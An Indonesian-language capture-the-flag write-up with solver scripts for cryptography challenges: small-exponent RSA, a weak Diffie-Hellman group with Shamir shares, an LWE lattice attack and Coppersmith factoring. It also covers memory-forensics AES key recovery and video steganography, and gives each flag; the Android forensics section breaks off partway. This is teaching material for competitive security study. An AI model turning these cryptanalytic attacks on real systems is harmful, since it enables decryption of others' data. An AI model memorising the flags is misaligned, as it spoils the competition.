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Cryptography 
The Wolowolo Protocol (100 Points) 

 

You are an intelligence agent trying to prevent the activation 
of the Wolowolo Syndicate's secret weapon. The only clue left 
behind is the final transmission from an informant: 

"kzzzt..file sent. Three key fragments..check the RSA..they 
got careless. The exchange protocol too... Diffie... static... 
Reassemble it with Sh... kzzzt... before they... realize." 

Author: wielio 

Jadi pada challenge ini kita diberikan sebuah file pcapng. 

 

Lalu disini saya mengikuti TCP Stream nya dan di temukan lah sebuah kebocoran header di 

TCP Stream 61 

 

Paket penting disini terdapat pada : 

| 169 | `192.168.1.10:12345 -> 10.0.0.5:80` | `GET /auth/sync HTTP/1.1` | 

| 195 | `10.0.0.5:80 -> 192.168.1.10:12345` | `HTTP/1.1 200 OK` | 

Request pada frame 169 menggunakan :  
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Response pada frame 195 memiliki sebuah header tidak standar: 

http 

X-Shamir-Vault: <data Base64> 

Nilai header tersebut merupakan Base64. di-decode dengan command berikut: 

tshark -r evidence.pcapng -Y 'frame.number==195' -T fields -e tcp.payload | xxd -r -p | tr -d '\r' | 

sed -n 's/^X-Shamir-Vault: //p' | base64 -d 

 

Didapatkan sembilan bilangan hex yang dipisahkan karakter `|`: 

0x200000000000000000000000000000011 

0xc750f7f47aef6242736439bc3b838801 

0xbb0b8924ed0b348cb95a4106234d4025b313f03e9909e45a21ce39bc7879f6397b9f94b5d2

eea7651122367b1438da177e68be6c616cdb0dc95cb79d13c16855 

0x11219f9a7a2ba9c4811657027866881d55e35705c9f9c11cc87d5c99f4e59f740722cd33d8

5c8b86256de56ca680d3ed 

0x391d61d453d 

0x2 

0xb6a40ff355 

0x276791d0e7b 

0xf36e4a2285924703f9e7db782477ca0f6a 
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Pada data asli, semua nilai tersebut berada pada satu baris dan dipisahkan karakter `|`. Daftar 

di atas dipisah per baris agar mudah dibaca. 

| No. | Nilai | Interpretasi | 

|---:|---|---| 

| 1 | `0x200000000000000000000000000000011` | Modulus prima Shamir, \(P\) | 

| 2 | `0xc750f7f47aef6242736439bc3b838801` | Fragmen pertama, \(y_1\) | 

| 3 | Nilai 512 bit pada baris ketiga | Modulus RSA, \(N\) | 

| 4 | Nilai 381 bit pada baris keempat | RSA ciphertext, \(c_{\text{RSA}}\) | 

| 5 | `0x391d61d453d` | Modulus DH, \(p\) | 

| 6 | `0x2` | Generator DH, \(g\) | 

| 7 | `0xb6a40ff355` | Public key DH pertama, \(A\) | 

| 8 | `0x276791d0e7b` | Public key DH kedua, \(B\) | 

| 9 | `0xf36e4a2285924703f9e7db782477ca0f6a` | Fragmen ketiga terenkripsi | 

Urutan tersebut dapat dikenali dari petunjuk challenge: data diawali parameter. Shamir dan 

fragmen langsung, dilanjutkan pasangan RSA, kemudian parameter dan public key 

Diffie-Hellman. Lalu disini saya lanjut follow TCP stream tersebut terdapat hal yang 

mencurigakan ke dua di tcp stream ke 116 
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Seperti terdapat file zip 

| Frame | Arah | Panjang payload | 

|---:|---|---:| 

| 316-318 | TCP handshake ke port 4444 | 0 | 

| 359 | `192.168.1.10:54321 -> 10.0.0.5:4444` | 1068 byte | 

| 370 | TCP FIN | 0 | 

Payload frame 359 dimulai dengan magic: 50 4b 03 04 

Magic `PK\x03\x04` menandakan sebuah ZIP archive. Payload dapat diekstrak dengan 

command berikut : tshark -r evidence.pcapng -Y 'tcp.stream==116 && tcp.len>0' -T fields -e 

tcp.payload | xxd -r -p > evidence.zip 

 

Parameter RSA yang bocor adalah: 
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N = 

0xbb0b8924ed0b348cb95a4106234d4025b313f03e9909e45a21ce39bc7879f6397b9f94b5d2

eea7651122367b1438da177e68be6c616cdb0dc95cb79d13c16855 

c = 

0x11219f9a7a2ba9c4811657027866881d55e35705c9f9c11cc87d5c99f4e59f740722cd33d8

5c8b86256de56ca680d3ed 

e = 3 

Eksponen (e) tidak dikirim sebagai field tersendiri. Namun, ciphertext pada field keempat 

merupakan perfect cube dan petunjuk challenge secara eksplisit menyuruh memeriksa RSA. 

Hal ini menunjukkan penggunaan textbook RSA dengan eksponen kecil (e=3). 

RSA normal melakukan enkripsi: 

 

Dengan (e=3): 

 

Implementasi ini tidak memakai padding dan pesannya cukup kecil sehingga: 

 

Karena belum terjadi modular wrap, persamaan RSA berubah menjadi persamaan bilangan 

bulat biasa: 

c = m^3 

Maka plaintext dapat diperoleh langsung: 

 

Menggunakan `gmpy2.iroot`: 
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Nilai tersebut dapat diverifikasi dengan: 

 

Parameter Diffie-Hellman: 

p = 0x391d61d453d 

g = 0x2 

A = 0xb6a40ff355 

B = 0x276791d0e7b 

Public key Diffie-Hellman dibentuk dengan: 

 

Shared secret kedua pihak: 

 

Masalahnya, modulus (p) hanya berukuran 42 bit. Ukuran ini terlalu kecil untuk discrete 

logarithm yang aman. Private exponent (a) dapat dicari dari: 
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Fragmen ketiga dienkripsi dengan XOR menggunakan awal dari: 

 

Sehingga: 

 

Implementasinya: 

 

Static DH sendiri tidak otomatis membocorkan private key. Kelemahan utamanya di sini adalah 

grup yang sangat kecil, sedangkan penggunaan key statis membuat hasil pemecahan tersebut 

dapat digunakan terhadap seluruh pertukaran yang memakai pasangan key yang sama. 
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Sekarang tersedia tiga share: 

 

dengan modulus: 

 

Pada Shamir Secret Sharing, secret adalah nilai polinomial pada (x=0): 

s = f(0) 

Dengan interpolasi Lagrange: 

 

Untuk titik (x=1,2,3), koefisien Lagrange pada (x=0) menjadi: 

 

Maka: 

 

Substitusi ketiga share menghasilkan: 

s = 0x5634756c745f4d34737433725f393921 

Jika bilangan tersebut diubah ke big-endian bytes: 

python 

s.to_bytes(16, "big") 

Didapatkan: V4ult_M4st3r_99! 
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Lalu ketika zip berhasil diakses dengan password berikut isi script encrypt.py 

 

Secara matematis, setiap byte dienkripsi menggunakan: 

 

Archive memberikan: 

known_message.txt, encrypted_known.bin 

Artinya tersedia pasangan plaintext-ciphertext dengan keystream yang sama. Keystream dapat 

dihitung ulang: 

 

Isi known plaintext sepanjang 44 byte adalah: The vault is sealed. Only those who understa 

Keystream yang diperoleh: 

a3e50acbd2acbdaf13c2dc8b3768a3c0 

eae761fa6ece58eb08c10253de36c4e4 

4837c6e4635ab9cdc270a53c 

Karena `encrypted_flag.bin` juga sepanjang 44 byte dan memakai keystream yang sama, 

dekripsi dilakukan dengan membalik persamaan enkripsi: 
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Dan berikut untuk solver script nya. 

import base64 

import hashlib 

import io 

import re 

import struct 

import sys 

import zipfile 

 

from sympy.ntheory import discrete_log 

 

def tcp_payloads_from_pcap(data): 

    if data[:4] != b"\xd4\xc3\xb2\xa1": 

        raise ValueError("expected a little-endian PCAP file") 

 

    offset = 24 

    while offset < len(data): 

        _, _, captured_len, _ = struct.unpack_from("<IIII", data, offset) 

        offset += 16 

        packet = data[offset : offset + captured_len] 

        offset += captured_len 

 

        if len(packet) < 20 or packet[0] >> 4 != 4: 

            continue 
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        ip_header_len = (packet[0] & 0x0F) * 4 

        if packet[9] != 6 or len(packet) < ip_header_len + 20: 

            continue 

 

        tcp_header_len = (packet[ip_header_len + 12] >> 4) * 4 

        payload_offset = ip_header_len + tcp_header_len 

        if payload_offset < len(packet): 

            yield packet[payload_offset:] 

 

def integer_cube_root(value): 

    low, high = 0, 1 << ((value.bit_length() + 2) // 3) 

    while low + 1 < high: 

        middle = (low + high) // 2 

        if middle**3 <= value: 

            low = middle 

        else: 

            high = middle 

    if low**3 != value: 

        raise ValueError("RSA ciphertext is not an exact cube") 

    return low 

 

def lagrange_at_zero(points, prime): 

    secret = 0 
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    for i, (x_i, y_i) in enumerate(points): 

        numerator = 1 

        denominator = 1 

        for j, (x_j, _) in enumerate(points): 

            if i == j: 

                continue 

            numerator = numerator * (-x_j) % prime 

            denominator = denominator * (x_i - x_j) % prime 

        secret += y_i * numerator * pow(denominator, -1, prime) 

    return secret % prime 

 

def extract_zip(blob): 

    start = blob.index(b"PK\x03\x04") 

    end_record = blob.index(b"PK\x05\x06", start) 

    comment_length = struct.unpack_from("<H", blob, end_record + 20)[0] 

    return blob[start : end_record + 22 + comment_length] 

 

 

def main(): 

    capture_path = sys.argv[1] if len(sys.argv) > 1 else "evidence.pcapng" 

    capture = open(capture_path, "rb").read() 

    payload_blob = b"".join(tcp_payloads_from_pcap(capture)) 
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    encoded_header = re.search( 

        rb"X-Shamir-Vault: ([A-Za-z0-9+/=]+)", payload_blob 

    ).group(1) 

    values = [ 

        int(part, 16) 

        for part in base64.b64decode(encoded_header).decode().split("|") 

    ] 

    ( 

        shamir_prime, 

        fragment_1, 

        _rsa_modulus, 

        rsa_ciphertext, 

        dh_prime, 

        dh_generator, 

        dh_public_a, 

        dh_public_b, 

        encrypted_fragment_3, 

    ) = values 

 

    fragment_2 = integer_cube_root(rsa_ciphertext) 

 

    private_a = int(discrete_log(dh_prime, dh_public_a, dh_generator)) 

    shared_secret = pow(dh_public_b, private_a, dh_prime) 
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    encrypted = encrypted_fragment_3.to_bytes(17, "big") 

    dh_keystream = hashlib.sha256(str(shared_secret).encode()).digest() 

    fragment_3 = int.from_bytes( 

        bytes(a ^ b for a, b in zip(encrypted, dh_keystream)), "big" 

    ) 

 

    vault_secret = lagrange_at_zero( 

        [(1, fragment_1), (2, fragment_2), (3, fragment_3)], 

        shamir_prime, 

    ) 

    vault_password = vault_secret.to_bytes(16, "big") 

 

    archive = zipfile.ZipFile(io.BytesIO(extract_zip(payload_blob))) 

    known = archive.read("known_message.txt", pwd=vault_password) 

    encrypted_known = archive.read("encrypted_known.bin", pwd=vault_password) 

    encrypted_flag = archive.read("encrypted_flag.bin", pwd=vault_password) 

 

    keystream = bytes( 

        (ciphertext - plaintext - 7 * i) % 256 

        for i, (plaintext, ciphertext) in enumerate(zip(known, encrypted_known)) 

    ) 

    flag = bytes( 

        (ciphertext - key_byte - 7 * i) % 256 
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        for i, (ciphertext, key_byte) in enumerate(zip(encrypted_flag, keystream)) 

    ) 

 

    print(f"Vault password: {vault_password.decode()}") 

    print(f"Flag: {flag.decode()}") 

 

if __name__ == "__main__": 

    main() 

 

FLAG: GCW{5h4m1r_4nd_Cub3_R00t_M4k3_4_Gr34t_V4uL7} 
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Sausage (100 Points) 
 

wow sosis 

Author: lyocs 

Pada challenge ini diberikan sebuah file output yang berisi parameter kriptografi: 

n = 45 

m = 130 

q = 10009 

Alpha = [...] 

beta = [...] 

ciphertexts = [...] 

Dari bentuk datanya, challenge ini mengarah ke skema kriptografi berbasis Learning With 

Errors atau LWE. LWE adalah masalah kriptografi berbasis lattice, di mana kita diberikan 

banyak persamaan linear modulo bilangan prima, tetapi setiap persamaan diberi noise kecil. 

Target kita adalah mengambil kembali secret vector s, lalu menggunakan secret tersebut untuk 

mendekripsi ciphertext dan mendapatkan flag. 

Diberikan: 

●​ q = 10009, modulus finite field. 

●​ n = 45, panjang secret vector. 

●​ m = 130, jumlah sampel LWE. 

●​ Alpha, matriks berukuran n × m. 

●​ beta, vektor berukuran m. 

Pada skema LWE, biasanya relasinya berbentuk: 
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dengan: 

●​ a_i adalah vektor publik. 

●​ s adalah secret vector. 

●​ e_i adalah error/noise kecil. 

●​ b_i adalah nilai publik yang sudah bercampur dengan noise. 

Dalam challenge ini:  

 

Karena Alpha diberikan sebagai matriks n × m, maka setiap sampel LWE adalah kolom dari 

Alpha, bukan barisnya. Jadi untuk sampel ke-i: 

 

Kalau tidak ada noise, kita bisa langsung menyelesaikan:  

 

atau dalam bentuk matriks: 

 

Namun pada LWE terdapat error kecil:  

 

Karena ada e, maka sistem linear biasa tidak akan menghasilkan secret yang benar. Jadi kita 

perlu memanfaatkan fakta bahwa error dan secret relatif kecil. Inilah alasan attack lattice/LLL 

bisa digunakan. 
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Kita ingin mencari secret s dan error e yang memenuhi: 

 

Karena $e$ kecil, maka vektor yang berisi error akan menjadi vektor pendek di lattice. Secara 

konsep, kita membuat lattice yang mengandung vektor pendek seperti: 

  

LLL digunakan untuk mencari vektor pendek tersebut. Kita tidak harus memakai semua m = 

130 sampel. Cukup gunakan sebagian sampel, misalnya mp = 50, karena dimensinya sudah 

cukup untuk memulihkan secret. Basis lattice yang digunakan kira-kira berbentuk: 

 

Dengan: 

●​ k adalah jumlah sampel yang dipakai. 

●​ qI_k memastikan operasi modulo $q$ masuk ke lattice. 

●​ A_k adalah sampel Alpha yang dipakai. 

●​ beta_k adalah bagian awal dari beta. 

●​ K adalah konstanta kecil, biasanya 1. 

Setelah LLL, kita cari baris yang elemen terakhirnya bernilai $\pm 1$. Dari baris tersebut, 

bagian tengahnya memberikan kandidat secret. 

Setelah kandidat secret s ditemukan, kita validasi dengan menghitung residual:  

 

Karena error kecil, nilai residual harus kecil jika dikonversi ke signed representation:  

 

Jika nilai maksimum dari residual kecil, misalnya:  
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maka secret dianggap benar. Dari hasil LLL, secret yang diperoleh adalah: 

s = [ 

    2, -1, 2, -2, -2, -1, 0, -2, -2, 2, 

    0, -2, -1, 0, 2, -1, 2, 1, 0, -2, 

    1, 2, -1, 1, 0, 1, 1, -2, -1, -2, 

    -2, 1, -2, -1, -2, 0, 0, 2, 2, 0, 

    0, -1, 2, -2, 1 

] 

Secret ini kecil, sesuai karakteristik LWE challenge yang memang rentan terhadap lattice 

attack. 

Setiap ciphertext berbentuk: (u, v) 

dengan: u adalah vektor panjang n, v adalah scalar modulo q. 

Skema enkripsinya dapat dimodelkan sebagai:  

 

dengan b adalah bit plaintext. Maka untuk mendekripsi, hitung:  

 

Jika plaintext bit adalah 0, maka $t$ akan dekat dengan: 0. Jika plaintext bit adalah 1, maka $t$ 

akan dekat dengan: q/2 Karena itu decision rule-nya:  

 

Dalam implementasi: 

d0 = min(t, q - t), d1 = abs(t - q // 2), bit = 1 if d1 < d0 else 0 
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Setelah semua bit didapatkan, gabungkan setiap 8 bit menjadi satu byte, lalu decode sebagai 

string.  

Dan berikut solver script nya. 

import ast 

from fpylll import IntegerMatrix, LLL 

 

with open("output.txt", "r") as f: 

    tree = ast.parse(f.read()) 

 

data = {} 

for node in tree.body: 

    if isinstance(node, ast.Assign): 

        data[node.targets[0].id] = ast.literal_eval(node.value) 

 

n = data["n"] 

m = data["m"] 

q = data["q"] 

Alpha = data["Alpha"] 

beta = data["beta"] 

ciphertexts = data["ciphertexts"] 

 

M = [[Alpha[j][i] for j in range(n)] for i in range(m)] 

 

mp = 50 
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K = 1 

dim = mp + n + 1 

 

B = IntegerMatrix(dim, dim) 

 

for i in range(mp): 

    B[i, i] = q 

 

for j in range(n): 

    row = mp + j 

    for i in range(mp): 

        B[row, i] = M[i][j] 

    B[row, mp + j] = 1 

 

last = mp + n 

for i in range(mp): 

    B[last, i] = beta[i] 

B[last, dim - 1] = K 

 

LLL.reduction(B, delta=0.99) 

 

secret = None 
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for r in range(dim): 

    row = [int(B[r, c]) for c in range(dim)] 

    if abs(row[-1]) == K: 

        mid = row[mp:mp+n] 

 

        if row[-1] == K: 

            s = [-x for x in mid] 

        else: 

            s = mid[:] 

 

        residuals = [] 

        for i in range(m): 

            val = (sum(M[i][j] * s[j] for j in range(n)) - beta[i]) % q 

            if val > q // 2: 

                val -= q 

            residuals.append(val) 

 

        if max(abs(x) for x in residuals) <= 5: 

            secret = s 

            break 

 

assert secret is not None 

print("[+] secret =", secret) 
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bits = [] 

 

for u, v in ciphertexts: 

    t = (v - sum(ui * si for ui, si in zip(u, secret))) % q 

 

    d0 = min(t, q - t) 

    d1 = abs(t - q // 2) 

 

    bits.append(1 if d1 < d0 else 0) 

 

out = bytearray() 

 

for i in range(0, len(bits), 8): 

    byte = 0 

    for b in bits[i:i+8]: 

        byte = (byte << 1) | b 

    out.append(byte) 

 

print(out.decode()) 

 

FLAG: GCW{K3t3mu_fl4gny4_I_l0v3_s4ge_d1_val0r4nt_pk3_s4g3_juG4} 
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afterimage (100 Points) 
 

what remains is not the secret, but sometimes it is enough. 

Author : macaril 

 

Challenge ini adalah RSA dengan modulus besar. Program membuat dua bilangan prima 

1024-bit, yaitu p dan q, lalu membentuk modulus:  

 

Pesan flag dipadding menjadi pesan sepanjang 220 byte dengan format:  

 

Kemudian pesan diubah menjadi integer:  

 

Challenge memberikan dua ciphertext:  

 

Dengan:  

 

Selain itu, challenge juga memberikan beberapa hint bit dari q, tetapi hint tersebut memiliki 

noise sehingga tidak akurat sepenuhnya. Bagian yang paling fatal justru ada di bagian 

telemetry, karena challenge membocorkan sebagian besar bit dari p.  
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Dari source code, diketahui bahwa nilai berikut dibocorkan:  

'limb_head': hex(p >> LOW_UNKNOWN_BITS), 

'limb_tail_bits': LOW_UNKNOWN_BITS 

Dengan: 

LOW_UNKNOWN_BITS = 256 

Artinya, challenge membocorkan bit atas dari p, lalu hanya menyembunyikan 256 bit 

bawahnya. Misalkan: 

 

Karena limb_head adalah hasil dari p >> 256, maka bentuk p dapat ditulis sebagai:  

 

dengan:  

 

Nilai H diketahui dari file challenge_data.json, sedangkan x adalah bagian kecil yang belum 

diketahui. Sekilas challenge terlihat memberikan dua ciphertext dengan dua exponent berbeda. 

Namun ternyata:  

 

Karena :  

 

Maka:  
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Jadi :  

 

c2 tidak memberi informasi baru.  Karena e1 = 3, serangan pertama yang biasanya dicoba 

adalah low exponent attack. Jika:  

 

maka:  

 

dan kita bisa langsung mengambil akar pangkat tiga integer:  

 

Namun pada challenge ini pesan dipadding menjadi 220 byte. Ukuran pesan sekitar:  

 

Sehingga:  

 

berukuran sekitar:  

 

Sedangkan n hanya sekitar 2048 bit. Jadi:  

m^3 > n 

Akibatnya ciphertext benar-benar mengalami operasi modulo, sehingga cube root biasa tidak 

bisa digunakan. Karena sebagian besar bit p diketahui, kita bisa membentuk:  

 

Lalu:  

p = P + x  

dengan:  
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Karena p adalah faktor dari n, maka:  

p | n 

atau:  

P + x | n 

Kita ingin mencari nilai kecil x yang membuat P + x menjadi faktor dari n. Bentuk 

polinomialnya: 

f(x) = P + x  

Akar kecil yang dicari adalah:  

x = x_0  

dengan kondisi:  

f(x_0) = P + x_0 = p  

Karena p membagi n, maka:  

 

Masalah ini cocok untuk Coppersmith small root attack, karena x hanya 256 bit, sedangkan p 

sekitar 1024 bit.  

Dan berikut solver script nya 

import json 

from Crypto.Util.number import long_to_bytes 

 

with open("challenge_data.json", "r") as f: 

    data = json.load(f) 

 

n = Integer(data["n"]) 

e = Integer(data["e1"]) 

c = Integer(data["c1"]) 
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k = Integer(data["telemetry"]["limb_tail_bits"]) 

P = Integer(int(data["telemetry"]["limb_head"], 16)) << k 

X = Integer(1) << k 

 

PR.<x> = PolynomialRing(Zmod(n)) 

f = P + x 

 

roots = f.small_roots(X=X, beta=0.5) 

 

if not roots: 

    print("[-] small_roots failed") 

    exit() 

 

x0 = Integer(roots[0]) 

p = Integer(P + x0) 

 

assert n % p == 0 

q = n // p 

 

print("[+] p recovered") 

print("[+] x =", x0) 

 

phi = (p - 1) * (q - 1) 

d = inverse_mod(e, phi) 

 

m = pow(c, d, n) 

msg = long_to_bytes(int(m)) 

 

print("[+] decrypted message:") 

print(msg) 

 

flag = msg.split(b"|END|")[-1] 

print("[+] flag:", flag.decode()) 

 

FLAG: GCW{l4tt1c3_m33t_1n_m1ddl3_cub3_r00t_ftw} 
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Digital Forensic 
tidak terurut (100 Points) 

 

kayanya tadi aku cuman hapus aplikasi mencurigakan, tapi ko fileku??? 
 
chall 
 
Author: millkywaay 

Dikasih file ad1, langsung aja load ke ftk imager​

 

Di direktori C:\Users\milkywaay\Documents\flag, ada potongan flag. 
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Kalo diliat di flag_5.dat ada header dari pdf, jd kemungkinan ini semua adalah 

potongan-potongan file pdf. 

 

GPT kan saja le buat gabunginnya, dan dapat flagnya.  

 

FLAG: GCW{tH3_cAch3d_FAc3_r3bu1ld5_thE_trUTh}  
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Ryomen Inscription (293 Points) 
 

The veil frays, and the crimson horizon bleeds into the void. In the 
dying breath of the Malevolent Shrine, a fallen sorcerer carved a 
final, desperate vow into the shattered stone: 
 
"The King of Curses leaves no fragile strings for the lazy to pull, 
nor does he linger in the shallow ash. Fools chase phantoms in the 
dirt, while the true core slumbers undisturbed." 
 
We managed to salvage the domain’s last chaotic heartbeat, a volatile 
snapshot frozen just as a black tide rose to consume the barrier. At 
its epicenter rests a sealed relic, bound by an iron curse that defies 
all automated sight. Its spoken incantation was purposefully shattered 
by the King himself, the words burned from existence the moment the 
lock snapped shut. Now, the fragments lie buried deep within the 
frozen, unmapped labyrinth of the underlying womb. 
 
The blind elders of Jujutsu High call it a ruined husk, casting it 
aside when their rigid eyes find no obvious trace in the darkness. But 
they lack the vision of a true master. The remnants of the monolith 
still sleep within the cold, structural silence of the curse. The vow 
cannot be simply guessed or found on the surface; it must be painfully 
unearthed and rewoven from the invisible architecture left behind. 
 
Descend into the static void. Unearth the hidden scripts, weave the 
reverse cursed technique through the heavy obscurity, and shatter the 
seal. Only then will Sukuna reveal his true face. 
 
dist Password: gcwug2026 
 
SHA256: 
14300ea4f2071964d68f612f6770a7b6c4e568d6b5cd5e57450753332bd0ca2d 
 
Author: vortaile 

Di chall kali ini dikasih raw sama file encrypted. Tapi kalo di inspect raw nya itu ternyata 

sebuah ELF. 
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Dari readelf, menunjukkan kalo file ini adalah ELF core dari QEMU. Untuk QEMU core, 

analisanya kita bisa pake volatility 3. 

 

Identifikasi pertama adalah identifikasi OS nya. Disini pake plugin windows.info buat cek 

os-nya, dan ditemukan bahwa memdump ini pake Windows 10 x64 build 19041. 

 

Selanjutnya adalah dump process dari memdump.  
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Disini diliat ada beberapa process mencurigakan, tapi seperti chall gcw yang lain ini adalah 

decoy ditandai dengan pathnya ada di …/decoys/… 

 

Setelah beberapa decoy tadi, ada process menarik yaitu domain.exe. Process ini di exec sendiri 

di path Downloads and we can start our real analysis here. 

 

Untuk ngambil file-nya, scan dulu offsetnya pake windows.filescan. Disini dapet offsetnya ada 

di 0xc587abfa1a80.  

 

 

Buat dumpnya pake plugin windows.dumpfiles. Disini didapetin kalo .exe tersebut adalah 

PE32+ executable for MS Windows 5.02. 
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Langsung aja pecut gpt buat bikinin decryptionnya. Tapi kata gpt suruh nyari keynya dulu di 

memory, karena keynya dibikin pas runtime. 

 

Karena malas scan sana sini, pake bulk_extractor buat nyari AES keys nya. Dan didapatkan 

beberapa keys -> lempar gpt biar dia cari key mana yang bener. 

 

# BANNER FILE NOT PROVIDED (-b option) 
# BULK_EXTRACTOR-Version: 2.1.1 
# Feature-Recorder: aes_keys 
# Filename: cursed.raw 
# Feature-File-Version: 1.1 
69147384    fe cd f5 6e 26 ec eb 00 c1 2d 3b 5e 16 81 48 eb    AES128 
350929688    68 e7 6a d4 42 49 71 75 51 c5 4e bc d9 f7 7d ce 4f f1 32 5d 6e 61 34 
1c 9c 0f 3c e6 99 a6 ad 99    AES256 
790417656    53 1c 3c b8 51 08 12 de 6a 4a a7 a5 88 d9 19 d6 98 4b 6b 50 c1 db 7d 
25 8e ed 1d 8b 18 63 e6 b9    AES256 
1447753544    aa 49 30 ef 97 1d 50 17 87 5e 13 a6 e6 12 5e f8 94 41 2c 3d 1c 7f 
ef c7 6a aa ce a5 b1 56 f1 fe    AES256 
2079991256    23 2f c5 e9 33 16 be 2a 68 79 c7 0d 7b 75 8a 91    AES128 
2325357704    0b c8 56 f6 18 3d 23 14 90 a9 d3 e7 69 6c d4 35    AES128 
2698048136    3b ca 62 01 15 af 99 06 99 84 de cc 61 77 92 96    AES128 
2709319464    8f 79 ac 94 b8 07 1d 61 e4 2e f3 e7 dc 1b f5 3f    AES128 
2760936128    bc 5d 3f 11 e9 81 d4 b1 b3 71 fc c0 3e 0c 31 7d c0 e4 dd 2b c3 bd 
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49 0e 50 2c 4a 77 86 a3 36 f1    AES256 
2971756616    40 a0 a0 79 aa 58 20 34 29 98 19 f8 01 57 ec 13    AES128 
2971759896    7e 70 d7 91 8d 78 90 b4 f7 b6 e1 ea 00 cd 94 e9 15 42 02 7e c4 1b 
2d 84 3c d8 b3 b5 1a 4e 26 4f    AES256 
2971760552    9b b7 c0 97 ad ab 58 ce 00 48 d5 15 70 c4 1c f8    AES128 
2994871176    1e 1f c3 4f e2 4e bd a8 a5 57 41 fe 3a 81 c3 d1 72 af 97 17 39 a6 
56 ca d7 b3 39 d8 1f 9a 56 5f    AES256 
3366280472    cc 6c e9 f0 c6 9e 7f bf 4b 69 51 37 b6 b5 6d d3    AES128 
3439786904    11 0f c4 cb 92 d4 5b b4 35 20 26 dd 71 81 de db b2 55 81 80 29 32 
42 f6 03 ae 57 20 d7 4b c1 5d    AES256 
3621887352    4a d8 b0 bb 65 30 00 46 fd 25 3d 01 22 38 97 5b    AES128 

Dan gpt came up with this decryption script, dan flag.enc berhasil di dekrip. 

from pathlib import Path 

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 

 

enc = Path("flag.enc").read_bytes() 

 

key = bytes.fromhex( 

    "aa4930ef971d5017875e13a6e6125ef894412c3d1c7fefc76aaacea5b156f1fe" 

) 

 

iv = bytes.fromhex("6569677616e6eded3c07a846b5bc16c8") 

 

cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) 

dec = cipher.decryptor() 

pt = dec.update(enc) + dec.finalize() 

 

pad = pt[-1] 

if pad < 1 or pad > 16 or pt[-pad:] != bytes([pad]) * pad: 

    raise ValueError("Invalid PKCS#7 padding, wrong key/IV") 

 

pt = pt[:-pad] 

 

print(pt[:16]) 

Path("rage.dec.gif").write_bytes(pt) 

print("[+] written rage.dec.gif") 

 

FLAG: GCW{5u7un4_m3m0ry_d15c0v3ry_2026}  
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Moai (495 Points) 
 

Hanya moai jalan, tidak ada yang SPESIAL, kan? 

Link 

 

Author: baut 

Jadi pada challenge ini kita diberikan sebuah file .avi yang berisi sebuah video dan juga di 

challenge ini memberikan hint yaitu. 

Hint 1: 

dimulai dari 52 lanjut ke 62, 72, 82, 92, 102, dst. 

Hint 2: 

Teknik steganografi domain spasial yang paling umum tuh apa ya?  

Dari hint pertama, terlihat bahwa kita harus mengambil data dari frame video dengan pola:  

52, 62, 72, 82, 92, 102, ...  

Artinya frame dimulai dari frame ke-52, lalu lompat setiap 10 frame. Hint kedua mengarah ke 

teknik steganografi, yaitu: 

LSB / Least Significant Bit 

Jadi dugaan awal: flag disembunyikan di bit terakhir pixel pada frame-frame tertentu. 

Video diberikan dalam format .avi. Kita bisa menggunakan OpenCV untuk membaca total 

frame.  

import cv2 
cap = cv2.VideoCapture("artifact.avi") 
print(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)))  
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Karena hint menyebut frame 52, 62, 72, .., kita hanya perlu mengecek frame-frame tersebut.  

open CV membaca nya dengan bentuk BGR 0 = Blue, 1 = Green, 2 = Red. Karena teknik LSB 

berarti mengambil bit paling akhir dari nilai pixel, maka operasi yang dipakai: pixel & 1. Kita 

coba beberapa channel: Blue LSB, Green LSB, Red LSB Setelah diuji, ternyata payload flag 

berada pada: Blue channel LSB 

Setiap frame menyimpan 2 karakter. Karakter dibentuk dari 8 bit pertama dan 8 bit berikutnya. 

Dan Berikut Solver script nya 

#!/usr/bin/env python3 

import cv2 

import sys 

 

path = sys.argv[1] if len(sys.argv) > 1 else "artifact.avi" 

 

cap = cv2.VideoCapture(path) 

nframes = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) 

 

def extract_two_chars(frame): 

    bits = (frame[:, :, 0].reshape(-1) & 1).tolist() 

 

    out = bytearray() 

 

    for off in (0, 8): 

        v = 0 

        for b in bits[off:off + 8]: 
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            v = (v << 1) | int(b) 

        out.append(v) 

 

    return bytes(out) 

 

flag = bytearray() 

 

for idx in range(52, nframes, 10): 

    cap.set(cv2.CAP_PROP_POS_FRAMES, idx) 

    ok, frame = cap.read() 

 

    if not ok: 

        break 

 

    chunk = extract_two_chars(frame) 

    print(f"frame {idx}: {chunk!r}") 

 

    flag += chunk 

 

    if b"}" in chunk: 

        break 

 

print() 
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print("FLAG:", flag.decode()) 

 

FLAG: GCW{158_1N51D3_0F_4_V1D30}  
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Miscellaneous 
OKI JELI DRINK ALE ALE (100 Points) 

 

 
 
 
 

Author : Nauth 

Pada challenge ini kita diberikan sebuah file archive berisi hasil ekstraksi filesystem Android. 

Di dalamnya terdapat banyak artefak forensik seperti file pada sdcard, database aplikasi, 

Chrome History, SMS, WhatsApp database, Gboard dictionary, dan SQLite WAL file. 

Tujuan challenge adalah mencari flag asli. Tantangannya bukan hanya mencari string GCW{...}, 

karena ada beberapa fake flag atau decoy. Flag asli harus disusun dari beberapa bagian 

berdasarkan clue yang ada di file reminders.txt. 

Dari hasil listing, terlihat struktur seperti Android filesystem: 

./sdcard/Download/reminders.txt 

./data/data/com.google.android.inputmethod.latin/files/personal/user_history.directory/user

_history.en_US.dict 

./data/data/com.android.chrome/app_chrome/Default/History 

./data/data/com.android.providers.media/files/Pictures/.thumb_cache_db-wal 

./data/data/com.android.providers.telephony/databases/mmssms.db 

./data/data/com.whatsapp/databases/msgstore.db 

Ini menunjukkan challenge kemungkinan besar bertema Android forensics. 

Langkah awal yang paling masuk akal adalah mengecek file teks biasa di folder Download. 

cat sdcard/Download/reminders.txt 

Isi file: 
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Reminders: 

- Buy Grape Oki Jeli Drink 

- Study for the finals tomorrow 

- Assembly key clue: Gboard dictionary word + '_' + DB WAL value + '_' + Chrome raw paste URL 

- Decrypt combined key with ASCII offset -1 (ignore underscores) 

Ini adalah clue utama. Artinya flag disusun dari tiga sumber: Gboard dictionary word + '_' + DB 

WAL value + '_' + Chrome raw paste URL Lalu hasilnya harus didekripsi menggunakan: 

ASCII offset -1 Dengan catatan: ignore underscores Maksudnya karakter _ tidak ikut digeser. 

Sebelum masuk ke solusi utama, jika kita melakukan grep terhadap flag, akan muncul beberapa 

string mencurigakan. 

grep -RaoE 'GCW\{[^}]+\}' . 

hasil:GCW{4ndr0id_usag3st4ts_bypass},GCW{sms_sp4m_l34k_flag}, 

